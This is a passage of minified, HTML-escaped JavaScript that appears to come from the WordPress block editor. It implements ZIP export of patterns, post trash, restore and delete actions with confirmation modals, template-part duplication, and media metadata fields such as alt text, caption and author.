o.setUint16(0,1,1),o.setUint16(2,r-4,1),16&amp;r&amp;&amp;(o.setBigUint64(4,e.u,1),o.setBigUint64(12,e.u,1)),o.setBigUint64(r-8,t,1),jl(o)}function DL(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified]]}var Vme=e=&gt;(function(t){let r=BigInt(22),o=0n,n=0;for(let i of t){if(!i.o)throw new Error(&quot;Every file must have a non-empty name.&quot;);if(i.u===void 0)throw new Error(`Missing size for file &quot;${new TextDecoder().decode(i.o)}&quot;.`);let a=i.u&gt;=0xffffffffn,l=o&gt;=0xffffffffn;o+=BigInt(46+i.o.length+(a&amp;&amp;8))+i.u,r+=BigInt(i.o.length+46+(12*l|28*a)),n||(n=a)}return(n||o&gt;=0xffffffffn)&amp;&amp;(r+=BigInt(76)),r+o})((function*(t){for(let r of t)yield IL(...DL(r)[0])})(e));function BL(e,t={}){let r={&quot;Content-Type&quot;:&quot;application/zip&quot;,&quot;Content-Disposition&quot;:&quot;attachment&quot;};return(typeof t.length==&quot;bigint&quot;||Number.isInteger(t.length))&amp;&amp;t.length&gt;0&amp;&amp;(r[&quot;Content-Length&quot;]=String(t.length)),t.metadata&amp;&amp;(r[&quot;Content-Length&quot;]=String(Vme(t.metadata))),new Response(jme(e,t),{headers:r})}function jme(e,t={}){let r=(function(o){let n=o[Symbol.iterator in o?Symbol.iterator:Symbol.asyncIterator]();return{async next(){let i=await n.next();if(i.done)return i;let[a,l]=DL(i.value);return{done:0,value:Object.assign(Rme(...l),IL(...a))}},throw:n.throw?.bind(n),[Symbol.asyncIterator](){return this}}})(e);return OL((async function*(o,n){let i=[],a=0n,l=0n,c=0;for await(let f of o){let m=Ime(f,n.buffersAreUTF8);yield Fme(f,m),yield new Uint8Array(f.o),f.isFile&amp;&amp;(yield*Dme(f));let h=f.u&gt;=0xffffffffn,g=12*(a&gt;=0xffffffffn)|28*h;yield Bme(f,h),i.push(Mme(f,a,m,g)),i.push(f.o),g&amp;&amp;i.push(Lme(f,a,g)),h&amp;&amp;(a+=8n),l++,a+=BigInt(46+f.o.length)+f.u,c||(c=h)}let u=0n;for(let f of i)yield f,u+=BigInt(f.length);if(c||a&gt;=0xffffffffn){let f=_p(76);f.setUint32(0,1347094022),f.setBigUint64(4,BigInt(44),1),f.setUint32(12,755182848),f.setBigUint64(24,l,1),f.setBigUint64(32,l,1),f.setBigUint64(40,u,1),f.setBigUint64(48,a,1),f.setUint32(56,1347094023),f.setBigUint64(64,a+u,1),f.setUint32(72,1,1),yield jl(f)}let d=_p(22);d.setUint32(0,1347093766),d.setUint16(8,RL(l),1),d.setUint16(10,RL(l),1),d.setUint32(12,lf(u),1),d.setUint32(16,lf(a),1),yield jl(d)})(r,t),r)}var z5=s(sy(),1),U5=s(E(),1);function ML(e){return JSON.stringify({__file:e.type,title:He(e),content:typeof e.content==&quot;string&quot;?e.content:e.content?.raw,syncStatus:e.wp_pattern_sync_status},null,2)}var zme={id:&quot;export-pattern&quot;,label:(0,U5.__)(&quot;Export as JSON&quot;),icon:GR,supportsBulk:!0,isEligible:e=&gt;e.type===&quot;wp_block&quot;,callback:async e=&gt;{if(e.length===1)return(0,z5.downloadBlob)(`${af(He(e[0])||e[0].slug)}.json`,ML(e[0]),&quot;application/json&quot;);let t={},r=e.map(o=&gt;{let n=af(He(o)||o.slug);return t[n]=(t[n]||0)+1,{name:`${n+(t[n]&gt;1?&quot;-&quot;+(t[n]-1):&quot;&quot;)}.json`,lastModified:new Date,input:ML(o)}});return(0,z5.downloadBlob)((0,U5.__)(&quot;patterns-export&quot;)+&quot;.zip&quot;,await BL(r).blob(),&quot;application/zip&quot;)}},H5=zme;var LL=s(Ir(),1),W_=s(E(),1),Ume={id:&quot;view-post-revisions&quot;,context:&quot;list&quot;,label(e){let t=e[0]._links?.[&quot;version-history&quot;]?.[0]?.count??0;return(0,W_.sprintf)((0,W_.__)(&quot;View revisions (%d)&quot;),t)},isEligible(e){if(e.status===&quot;trash&quot;)return!1;let t=e?._links?.[&quot;predecessor-version&quot;]?.[0]?.id??null,r=e?._links?.[&quot;version-history&quot;]?.[0]?.count??0;return!!t&amp;&amp;r&gt;1},callback(e,{onActionPerformed:t}){let r=e[0],o=(0,LL.addQueryArgs)(&quot;revision.php&quot;,{revision:r?._links?.[&quot;predecessor-version&quot;]?.[0]?.id});document.location.href=o,t&amp;&amp;t(e)}},G5=Ume;var VL=s(W(),1),eo=s(E(),1),jL=s(ct(),1);var zL=s(D(),1),W5=s(O(),1),zl=s(A(),1),UL=s(ft(),1);var cf=s(C(),1),Hme={id:&quot;permanently-delete&quot;,label:(0,eo.__)(&quot;Permanently delete&quot;),supportsBulk:!0,icon:El,isEligible(e){if(Rl(e)||e.type===&quot;wp_block&quot;)return!1;let{status:t,permissions:r}=e;return t===&quot;trash&quot;&amp;&amp;r?.delete},hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o,n]=(0,zL.useState)(!1),{createSuccessNotice:i,createErrorNotice:a}=(0,W5.useDispatch)(jL.store),{deleteEntityRecord:l}=(0,W5.useDispatch)(VL.store);return(0,cf.jsxs)(zl.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,cf.jsx)(zl.__experimentalText,{children:e.length&gt;1?(0,eo.sprintf)((0,eo._n)(&quot;Are you sure you want to permanently delete %d item?&quot;,&quot;Are you sure you want to permanently delete %d items?&quot;,e.length),e.length):(0,eo.sprintf)((0,eo.__)(&#039;Are you sure you want to permanently delete &quot;%s&quot;?&#039;),(0,UL.decodeEntities)(He(e[0])))}),(0,cf.jsxs)(zl.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,cf.jsx)(zl.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,eo.__)(&quot;Cancel&quot;)}),(0,cf.jsx)(zl.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0);let c=await Promise.allSettled(e.map(u=&gt;l(&quot;postType&quot;,u.type,u.id,{force:!0},{throwOnError:!0})));if(c.every(({status:u})=&gt;u===&quot;fulfilled&quot;)){let u;c.length===1?u=(0,eo.sprintf)((0,eo.__)(&#039;&quot;%s&quot; permanently deleted.&#039;),He(e[0])):u=(0,eo.__)(&quot;The items were permanently deleted.&quot;),i(u,{type:&quot;snackbar&quot;,id:&quot;permanently-delete-post-action&quot;}),r?.(e)}else{let u;if(c.length===1){let d=c[0];d.reason?.message?u=d.reason.message:u=(0,eo.__)(&quot;An error occurred while permanently deleting the item.&quot;)}else{let d=new Set,f=c.filter(({status:m})=&gt;m===&quot;rejected&quot;);for(let m of f){let h=m;h.reason?.message&amp;&amp;d.add(h.reason.message)}d.size===0?u=(0,eo.__)(&quot;An error occurred while permanently deleting the items.&quot;):d.size===1?u=(0,eo.sprintf)((0,eo.__)(&quot;An error occurred while permanently deleting the items: %s&quot;),[...d][0]):u=(0,eo.sprintf)((0,eo.__)(&quot;Some errors occurred while permanently deleting the items: %s&quot;),[...d].join(&quot;,&quot;))}a(u,{type:&quot;snackbar&quot;})}n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,eo.__)(&quot;Delete permanently&quot;)})]})]})}},Y5=Hme;var HL=s(W(),1),On=s(E(),1),GL=s(ct(),1);var Gme={id:&quot;restore&quot;,label:(0,On.__)(&quot;Restore&quot;),isPrimary:!0,icon:xl,supportsBulk:!0,isEligible(e){return!Rl(e)&amp;&amp;e.type!==&quot;wp_block&quot;&amp;&amp;e.status===&quot;trash&quot;&amp;&amp;e.permissions?.update},async callback(e,{registry:t,onActionPerformed:r}){let{createSuccessNotice:o,createErrorNotice:n}=t.dispatch(GL.store),{editEntityRecord:i,saveEditedEntityRecord:a}=t.dispatch(HL.store);await Promise.allSettled(e.map(c=&gt;i(&quot;postType&quot;,c.type,c.id,{status:&quot;draft&quot;})));let l=await Promise.allSettled(e.map(c=&gt;a(&quot;postType&quot;,c.type,c.id,{throwOnError:!0})));if(l.every(({status:c})=&gt;c===&quot;fulfilled&quot;)){let c;e.length===1?c=(0,On.sprintf)((0,On.__)(&#039;&quot;%s&quot; has been restored.&#039;),He(e[0])):e[0].type===&quot;page&quot;?c=(0,On.sprintf)((0,On.__)(&quot;%d pages have been restored.&quot;),e.length):c=(0,On.sprintf)((0,On.__)(&quot;%d posts have been restored.&quot;),e.length),o(c,{type:&quot;snackbar&quot;,id:&quot;restore-post-action&quot;}),r&amp;&amp;r(e)}else{let c;if(l.length===1){let u=l[0];u.reason?.message?c=u.reason.message:c=(0,On.__)(&quot;An error occurred while restoring the post.&quot;)}else{let u=new Set,d=l.filter(({status:f})=&gt;f===&quot;rejected&quot;);for(let f of d){let m=f;m.reason?.message&amp;&amp;u.add(m.reason.message)}u.size===0?c=(0,On.__)(&quot;An error occurred while restoring the posts.&quot;):u.size===1?c=(0,On.sprintf)((0,On.__)(&quot;An error occurred while restoring the posts: %s&quot;),[...u][0]):c=(0,On.sprintf)((0,On.__)(&quot;Some errors occurred while restoring the posts: %s&quot;),[...u].join(&quot;,&quot;))}n(c,{type:&quot;snackbar&quot;})}}},q5=Gme;var Z5=s(O(),1),WL=s(W(),1),Dr=s(E(),1),YL=s(ct(),1),qL=s(D(),1),Ul=s(A(),1);var uf=s(C(),1),Wme={id:&quot;move-to-trash&quot;,label:(0,Dr._x)(&quot;Trash&quot;,&quot;verb&quot;),isPrimary:!0,icon:El,isEligible(e){return e.type===&quot;wp_template_part&quot;||e.type===&quot;wp_block&quot;||e.type===&quot;wp_template&quot;&amp;&amp;typeof e.id==&quot;string&quot;?!1:!!e.status&amp;&amp;![&quot;auto-draft&quot;,&quot;trash&quot;].includes(e.status)&amp;&amp;e.permissions?.delete},supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o,n]=(0,qL.useState)(!1),{createSuccessNotice:i,createErrorNotice:a}=(0,Z5.useDispatch)(YL.store),{deleteEntityRecord:l}=(0,Z5.useDispatch)(WL.store);return(0,uf.jsxs)(Ul.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,uf.jsx)(Ul.__experimentalText,{children:e.length===1?(0,Dr.sprintf)((0,Dr.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),He(e[0])):(0,Dr.sprintf)((0,Dr._n)(&quot;Are you sure you want to move %d item to the trash ?&quot;,&quot;Are you sure you want to move %d items to the trash ?&quot;,e.length),e.length)}),(0,uf.jsxs)(Ul.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,uf.jsx)(Ul.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,Dr.__)(&quot;Cancel&quot;)}),(0,uf.jsx)(Ul.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0);let c=await Promise.allSettled(e.map(u=&gt;l(&quot;postType&quot;,u.type,u.id.toString(),{},{throwOnError:!0})));if(c.every(({status:u})=&gt;u===&quot;fulfilled&quot;)){let u;c.length===1?u=(0,Dr.sprintf)((0,Dr.__)(&#039;&quot;%s&quot; moved to the trash.&#039;),He(e[0])):u=(0,Dr.sprintf)((0,Dr._n)(&quot;%d item moved to the trash.&quot;,&quot;%d items moved to the trash.&quot;,e.length),e.length),i(u,{type:&quot;snackbar&quot;,id:&quot;move-to-trash-action&quot;})}else{let u;if(c.length===1){let d=c[0];d.reason?.message?u=d.reason.message:u=(0,Dr.__)(&quot;An error occurred while moving the item to the trash.&quot;)}else{let d=new Set,f=c.filter(({status:m})=&gt;m===&quot;rejected&quot;);for(let m of f){let h=m;h.reason?.message&amp;&amp;d.add(h.reason.message)}d.size===0?u=(0,Dr.__)(&quot;An error occurred while moving the items to the trash.&quot;):d.size===1?u=(0,Dr.sprintf)((0,Dr.__)(&quot;An error occurred while moving the item to the trash: %s&quot;),[...d][0]):u=(0,Dr.sprintf)((0,Dr.__)(&quot;Some errors occurred while moving the items to the trash: %s&quot;),[...d].join(&quot;,&quot;))}a(u,{type:&quot;snackbar&quot;})}r&amp;&amp;r(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,Dr._x)(&quot;Trash&quot;,&quot;verb&quot;)})]})]})}},K5=Wme;var Tt=s(E(),1),QL=s(D(),1),Hl=s(A(),1),JL=s(Ls(),1),Q5=s(ft(),1);var ZL=s(ct(),1),KL=s(W(),1),X5=s(O(),1);function Yme(e){let t=new Set;if(e.length===1){let r=e[0];r.reason?.message&amp;&amp;t.add(r.reason.message)}else{let r=e.filter(({status:o})=&gt;o===&quot;rejected&quot;);for(let o of r){let n=o;n.reason?.message&amp;&amp;t.add(n.reason.message)}}return t}var XL=async(e,t,r)=&gt;{let{createSuccessNotice:o,createErrorNotice:n}=(0,X5.dispatch)(ZL.store),{deleteEntityRecord:i}=(0,X5.dispatch)(KL.store),a=await Promise.allSettled(e.map(l=&gt;i(&quot;postType&quot;,l.type,l.id,{force:!0},{throwOnError:!0})));if(a.every(({status:l})=&gt;l===&quot;fulfilled&quot;)){let l;a.length===1?l=t.success.messages.getMessage(e[0]):l=t.success.messages.getBatchMessage(e),o(l,{type:t.success.type??&quot;snackbar&quot;,id:t.success.id}),r.onActionPerformed?.(e)}else{let l=Yme(a),c=&quot;&quot;;a.length===1?c=t.error.messages.getMessage(l):c=t.error.messages.getBatchMessage(l),n(c,{type:t.error.type??&quot;snackbar&quot;,id:t.error.id}),r.onActionError?.()}};var df=s(C(),1),{PATTERN_TYPES:qme}=Do(JL.privateApis),Zme={id:&quot;delete-post&quot;,label:(0,Tt.__)(&quot;Delete&quot;),isPrimary:!0,icon:El,isEligible(e){return Rl(e)?n_(e):e.type===qme.user},supportsBulk:!0,hideModalHeader:!0,modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t,onActionPerformed:r})=&gt;{let[o,n]=(0,QL.useState)(!1),i=e.every(a=&gt;Rl(a)&amp;&amp;a?.has_theme_file);return(0,df.jsxs)(Hl.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,df.jsx)(Hl.__experimentalText,{children:e.length&gt;1?(0,Tt.sprintf)((0,Tt._n)(&quot;Delete %d item?&quot;,&quot;Delete %d items?&quot;,e.length),e.length):(0,Tt.sprintf)((0,Tt._x)(&#039;Delete &quot;%s&quot;?&#039;,&quot;template part&quot;),He(e[0]))}),(0,df.jsxs)(Hl.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,df.jsx)(Hl.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,Tt.__)(&quot;Cancel&quot;)}),(0,df.jsx)(Hl.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0),await XL(e,{success:{messages:{getMessage:l=&gt;i?(0,Tt.sprintf)((0,Tt.__)(&#039;&quot;%s&quot; reset.&#039;),(0,Q5.decodeEntities)(He(l))):(0,Tt.sprintf)((0,Tt._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,Q5.decodeEntities)(He(l))),getBatchMessage:()=&gt;i?(0,Tt.__)(&quot;Items reset.&quot;):(0,Tt.__)(&quot;Items deleted.&quot;)}},error:{messages:{getMessage:l=&gt;l.size===1?[...l][0]:i?(0,Tt.__)(&quot;An error occurred while reverting the item.&quot;):(0,Tt.__)(&quot;An error occurred while deleting the item.&quot;),getBatchMessage:l=&gt;l.size===0?i?(0,Tt.__)(&quot;An error occurred while reverting the items.&quot;):(0,Tt.__)(&quot;An error occurred while deleting the items.&quot;):l.size===1?i?(0,Tt.sprintf)((0,Tt.__)(&quot;An error occurred while reverting the items: %s&quot;),[...l][0]):(0,Tt.sprintf)((0,Tt.__)(&quot;An error occurred while deleting the items: %s&quot;),[...l][0]):i?(0,Tt.sprintf)((0,Tt.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...l].join(&quot;,&quot;)):(0,Tt.sprintf)((0,Tt.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...l].join(&quot;,&quot;))}}},{onActionPerformed:r}),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,Tt.__)(&quot;Delete&quot;)})]})]})}},J5=Zme;var cV=s(O(),1),Gl=s(E(),1),uV=s(ct(),1),dV=s(D(),1),fV=s(Xe(),1);var Jo=s(A(),1),sV=s(he(),1),q_=s(W(),1),xp=s(O(),1),Y_=s(D(),1),wp=s(E(),1);var aV=s(ct(),1),lV=s(Xe(),1);var $L=s(O(),1),eV=s(W(),1),tV=()=&gt;(0,$L.useSelect)(e=&gt;e(eV.store).getEntityRecords(&quot;postType&quot;,&quot;wp_template_part&quot;,{per_page:-1}),[])??[],rV=(e,t)=&gt;{let r=e.toLowerCase(),o=t.map(i=&gt;i.title.rendered.toLowerCase());if(!o.includes(r))return e;let n=2;for(;o.includes(`${r} ${n}`);)n++;return`${e} ${n}`},oV=e=&gt;af(e).replace(/[^\w-]+/g,&quot;&quot;)||&quot;wp-custom-part&quot;;var to=s(C(),1);function nV(e,t){return`fields-create-template-part-modal__area-option-${e}-${t}`}function iV(e,t){return`fields-create-template-part-modal__area-option-description-${e}-${t}`}function Cp({modalTitle:e,...t}){let r=(0,xp.useSelect)(o=&gt;o(q_.store).getPostType(&quot;wp_template_part&quot;)?.labels?.add_new_item,[]);return(0,to.jsx)(Jo.Modal,{title:e||r,onRequestClose:t.closeModal,overlayClassName:&quot;fields-create-template-part-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;medium&quot;,children:(0,to.jsx)($5,{...t})})}var Kme=e=&gt;e===&quot;header&quot;?Rv:e===&quot;footer&quot;?Ev:e===&quot;sidebar&quot;?Gv:e===&quot;navigation-overlay&quot;?Nv:Wd;function $5({defaultArea:e=&quot;uncategorized&quot;,blocks:t=[],confirmLabel:r=(0,wp.__)(&quot;Add&quot;),closeModal:o,onCreate:n,onError:i,defaultTitle:a=&quot;&quot;}){let{createErrorNotice:l}=(0,xp.useDispatch)(aV.store),{saveEntityRecord:c}=(0,xp.useDispatch)(q_.store),u=tV(),[d,f]=(0,Y_.useState)(a),[m,h]=(0,Y_.useState)(e),[g,v]=(0,Y_.useState)(!1),y=(0,sV.useInstanceId)(Cp),b=(0,xp.useSelect)(S=&gt;S(q_.store).getCurrentTheme()?.default_template_part_areas,[]);async function _(){if(!(!d||g))try{v(!0);let S=rV(d,u),x=oV(S),T=await c(&quot;postType&quot;,&quot;wp_template_part&quot;,{slug:x,title:S,content:(0,lV.serialize)(t),area:m},{throwOnError:!0});await n(T)}catch(S){let x=S instanceof Error&amp;&amp;&quot;code&quot;in S&amp;&amp;S.message&amp;&amp;S.code!==&quot;unknown_error&quot;?S.message:(0,wp.__)(&quot;An error occurred while creating the template part.&quot;);l(x,{type:&quot;snackbar&quot;}),i?.()}finally{v(!1)}}return(0,to.jsx)(&quot;form&quot;,{onSubmit:async S=&gt;{S.preventDefault(),await _()},children:(0,to.jsxs)(Jo.__experimentalVStack,{spacing:&quot;4&quot;,children:[(0,to.jsx)(Jo.TextControl,{__next40pxDefaultSize:!0,label:(0,wp.__)(&quot;Name&quot;),value:d,onChange:f,required:!0}),(0,to.jsxs)(&quot;fieldset&quot;,{className:&quot;fields-create-template-part-modal__area-fieldset&quot;,children:[(0,to.jsx)(Jo.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,wp.__)(&quot;Area&quot;)}),(0,to.jsx)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-group&quot;,children:(b??[]).map(S=&gt;{let x=Kme(S.icon);return(0,to.jsxs)(&quot;div&quot;,{className:&quot;fields-create-template-part-modal__area-radio-wrapper&quot;,children:[(0,to.jsx)(&quot;input&quot;,{type:&quot;radio&quot;,id:nV(S.area,y),name:`fields-create-template-part-modal__area-${y}`,value:S.area,checked:m===S.area,onChange:()=&gt;{h(S.area)},&quot;aria-describedby&quot;:iV(S.area,y)}),(0,to.jsx)(Jo.Icon,{icon:x,className:&quot;fields-create-template-part-modal__area-radio-icon&quot;}),(0,to.jsx)(&quot;label&quot;,{htmlFor:nV(S.area,y),className:&quot;fields-create-template-part-modal__area-radio-label&quot;,children:S.label}),(0,to.jsx)(Jo.Icon,{icon:Pi,className:&quot;fields-create-template-part-modal__area-radio-checkmark&quot;}),(0,to.jsx)(&quot;p&quot;,{className:&quot;fields-create-template-part-modal__area-radio-description&quot;,id:iV(S.area,y),children:S.description})]},S.area)})})]}),(0,to.jsxs)(Jo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,to.jsx)(Jo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;{o()},children:(0,wp.__)(&quot;Cancel&quot;)}),(0,to.jsx)(Jo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,type:&quot;submit&quot;,&quot;aria-disabled&quot;:!d||g,isBusy:g,children:r})]})]})})}var mV=s(C(),1),Xme={id:&quot;duplicate-template-part&quot;,label:(0,Gl._x)(&quot;Duplicate&quot;,&quot;action label&quot;),isEligible:e=&gt;e.type===&quot;wp_template_part&quot;,modalHeader:(0,Gl._x)(&quot;Duplicate template part&quot;,&quot;action label&quot;),modalFocusOnMount:&quot;firstContentElement&quot;,RenderModal:({items:e,closeModal:t})=&gt;{let[r]=e,o=(0,dV.useMemo)(()=&gt;r.blocks??(0,fV.parse)(typeof r.content==&quot;string&quot;?r.content:r.content.raw,{__unstableSkipMigrationLogs:!0}),[r.content,r.blocks]),{createSuccessNotice:n}=(0,cV.useDispatch)(uV.store);function i(a){n((0,Gl.sprintf)((0,Gl._x)(&#039;&quot;%s&quot; duplicated.&#039;,&quot;template part&quot;),He(a)),{type:&quot;snackbar&quot;,id:&quot;edit-site-patterns-success&quot;}),t?.()}return(0,mV.jsx)($5,{blocks:o,defaultArea:r.area,defaultTitle:(0,Gl.sprintf)((0,Gl._x)(&quot;%s (Copy)&quot;,&quot;template part&quot;),He(r)),onCreate:i,onError:t,confirmLabel:(0,Gl._x)(&quot;Duplicate&quot;,&quot;action label&quot;),closeModal:t??(()=&gt;{})})}},eI=Xme;var pV=s(E(),1),hV=s(A(),1),gV=s(C(),1),Qme={id:&quot;alt_text&quot;,type:&quot;text&quot;,label:(0,pV.__)(&quot;Alt text&quot;),isVisible:e=&gt;e?.media_type===&quot;image&quot;,render:({item:e})=&gt;e?.alt_text||&quot;-&quot;,Edit:({field:e,onChange:t,data:r})=&gt;(0,gV.jsx)(hV.TextareaControl,{label:e.label,value:r.alt_text||&quot;&quot;,onChange:o=&gt;t({alt_text:o}),rows:2}),enableSorting:!1,filterBy:!1},tI=Qme;var wV=s(E(),1);var K_=s(D(),1),vV=s(E(),1);function Z_(e){return e?typeof e==&quot;string&quot;?e:typeof e==&quot;object&quot;&amp;&amp;(e.rendered||e.raw)||&quot;&quot;:&quot;&quot;}var X_=s(C(),1);function yV({item:e}){let[t,r]=(0,K_.useState)(null),o=e.post,n=e._embedded?.[&quot;wp:attached-to&quot;]?.[0]?.id,i=e._embedded?.[&quot;wp:attached-to&quot;]?.[0]?.title;return(0,K_.useEffect)(()=&gt;{o&amp;&amp;o===n&amp;&amp;r(Z_(i)||n?.toString()||&quot;&quot;),o||r((0,vV.__)(&quot;(Unattached)&quot;))},[o,n,i]),(0,X_.jsx)(X_.Fragment,{children:t})}var J_=s(W(),1),$_=s(A(),1),Q_=s(E(),1),ff=s(D(),1),bV=s(he(),1),SV=s(O(),1);var rI=s(C(),1);function _V({data:e,onChange:t}){let r=e.post&amp;&amp;e?._embedded?.[&quot;wp:attached-to&quot;]?.[0]?[{label:Z_(e._embedded?.[&quot;wp:attached-to&quot;]?.[0]?.title),value:e.post.toString()}]:[],[o,n]=(0,ff.useState)(r),[i,a]=(0,ff.useState)([]),[l,c]=(0,ff.useState)(!1),[u,d]=(0,ff.useState)(e?.post?.toString()??null),f=(0,SV.useSelect)(y=&gt;y(J_.store).getPostTypes(),[]),m=()=&gt;{t({post:0,_embedded:{...e?._embedded,&quot;wp:attached-to&quot;:void 0}}),n([])},h=async y=&gt;{c(!0);let b=await(0,J_.__experimentalFetchLinkSuggestions)(y,{type:&quot;post&quot;,isInitialSuggestions:!0},{});a(b);let _=b.map(S=&gt;({label:S.title,value:S.id.toString()}));n(_),c(!1)},g=y=&gt;{if(!y){m();return}if(d(y),y){let b=i.find(_=&gt;_.id===Number(y));if(b&amp;&amp;f){let _=f.find(x=&gt;x.slug===b?.type),S={..._&amp;&amp;{type:_.slug},id:Number(y),title:{raw:b.title,rendered:b.title}};t({post:Number(y),_embedded:{...e?._embedded,&quot;wp:attached-to&quot;:[S]}})}}},v=e.post?(0,ff.createInterpolateElement)((0,Q_.__)(&quot;Search for a post or page to attach this media to or &lt;button&gt;detach current&lt;/button&gt;.&quot;),{button:(0,rI.jsx)($_.Button,{__next40pxDefaultSize:!0,onClick:m,variant:&quot;link&quot;,accessibleWhenDisabled:!0})}):(0,Q_.__)(&quot;Search for a post or page to attach this media to.&quot;);return(0,rI.jsx)($_.ComboboxControl,{className:&quot;dataviews-media-field__attached-to&quot;,__next40pxDefaultSize:!0,isLoading:l,label:(0,Q_.__)(&quot;Attached to&quot;),help:v,value:u,options:o,onFilterValueChange:(0,bV.debounce)(y=&gt;h(y),300),onChange:g,hideLabelFromVision:!0})}var Jme={id:&quot;attached_to&quot;,type:&quot;text&quot;,label:(0,wV.__)(&quot;Attached to&quot;),Edit:_V,render:yV,enableSorting:!1,filterBy:!1},oI=Jme;var TV=s(E(),1),PV=s(O(),1),kV=s(W(),1);var xV=s(E(),1),Tp=s(D(),1);var ew=s(A(),1),vu=s(C(),1);function CV({item:e}){let t=e?._embedded?.author?.[0],r=t?.name,o=t?.avatar_urls?.[48],[n,i]=(0,Tp.useState)(&quot;loading&quot;);(0,Tp.useEffect)(()=&gt;{i(&quot;loading&quot;)},[o]);let a=(0,Tp.useCallback)(c=&gt;{c?.complete&amp;&amp;i(&quot;instant&quot;)},[]),l=()=&gt;{n===&quot;loading&quot;&amp;&amp;i(&quot;loaded&quot;)};return(0,vu.jsxs)(ew.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[!!o&amp;&amp;(0,vu.jsx)(&quot;div&quot;,{className:re(&quot;media-author-field__avatar&quot;,{&quot;is-loading&quot;:n===&quot;loading&quot;,&quot;is-loaded&quot;:n===&quot;loaded&quot;}),children:(0,vu.jsx)(&quot;img&quot;,{ref:a,onLoad:l,alt:(0,xV.__)(&quot;Author avatar&quot;),src:o})}),!o&amp;&amp;(0,vu.jsx)(&quot;div&quot;,{className:&quot;media-author-field__icon&quot;,children:(0,vu.jsx)(ew.Icon,{icon:Pv})}),(0,vu.jsx)(&quot;span&quot;,{className:&quot;media-author-field__name&quot;,children:r})]})}var $me={label:(0,TV.__)(&quot;Author&quot;),id:&quot;author&quot;,type:&quot;integer&quot;,getElements:async()=&gt;(await(0,PV.resolveSelect)(kV.store).getEntityRecords(&quot;root&quot;,&quot;user&quot;,{per_page:-1,who:&quot;authors&quot;,_fields:&quot;id,name&quot;,context:&quot;view&quot;})??[]).map(({id:t,name:r})=&gt;({value:t,label:r})),render:CV,sort:(e,t,r)=&gt;{let o=e._embedded?.author?.[0]?.name||&quot;&quot;,n=t._embedded?.author?.[0]?.name||&quot;&quot;;return r===&quot;asc&quot;?o.localeCompare(n):n.localeCompare(o)},filterBy:{operators:[&quot;isAny&quot;,&quot;isNone&quot;]},readOnly:!0},nI=$me;var EV=s(E(),1),RV=s(A(),1);function yu(e){return e?typeof e==&quot;string&quot;?e:typeof e==&quot;object&quot;&amp;&amp;&quot;raw&quot;in e&amp;&amp;e.raw||&quot;&quot;:&quot;&quot;}var AV=s(C(),1),epe={id:&quot;caption&quot;,type:&quot;text&quot;,label:(0,EV.__)(&quot;Caption&quot;),getValue:({item:e})=&gt;yu(e?.caption),render:({item:e})=&gt;yu(e?.caption)||&quot;-&quot;,Edit:({field:e,onChange:t,data:r})=&gt;(0,AV.jsx)(RV.TextareaControl,{label:e.label,value:yu(r.caption)||&quot;&quot;,onChange:o=&gt;t({caption:o}),rows:2}),enableSorting:!1,filterBy:!1},iI=epe;var OV=s(E(),1),IV=s(po(),1),tpe={id:&quot;date&quot;,type:&quot;datetime&quot;,label:(0,OV.__)(&quot;Date added&quot;),filterBy:{operators:[&quot;before&quot;,&quot;after&quot;]},format:{datetime:(0,IV.getSettings)().formats.datetimeAbbreviated},readOnly:!0},sI=tpe;var NV=s(E(),1),FV=s(A(),1);var aI=s(C(),1),rpe={id:&quot;description&quot;,type:&quot;text&quot;,label:(0,NV.__)(&quot;Description&quot;),getValue:({item:e})=&gt;yu(e?.description),render:({item:e})=&gt;(0,aI.jsx)(&quot;div&quot;,{children:yu(e?.description)||&quot;-&quot;}),Edit:({field:e,onChange:t,data:r})=&gt;(0,aI.jsx)(FV.TextareaControl,{label:e.label,value:yu(r.description)||&quot;&quot;,onChange:o=&gt;t({description:o}),rows:5}),enableSorting:!1,filterBy:!1},lI=rpe;var VV=s(E(),1),jV=s(Ir(),1);var tw=s(A(),1),BV=s(D(),1),MV=s(Ir(),1),Pp=s(C(),1),DV=15;function LV({item:e}){let t=(0,BV.useMemo)(()=&gt;e?.source_url?(0,MV.getFilename)(e.source_url):null,[e?.source_url]);return 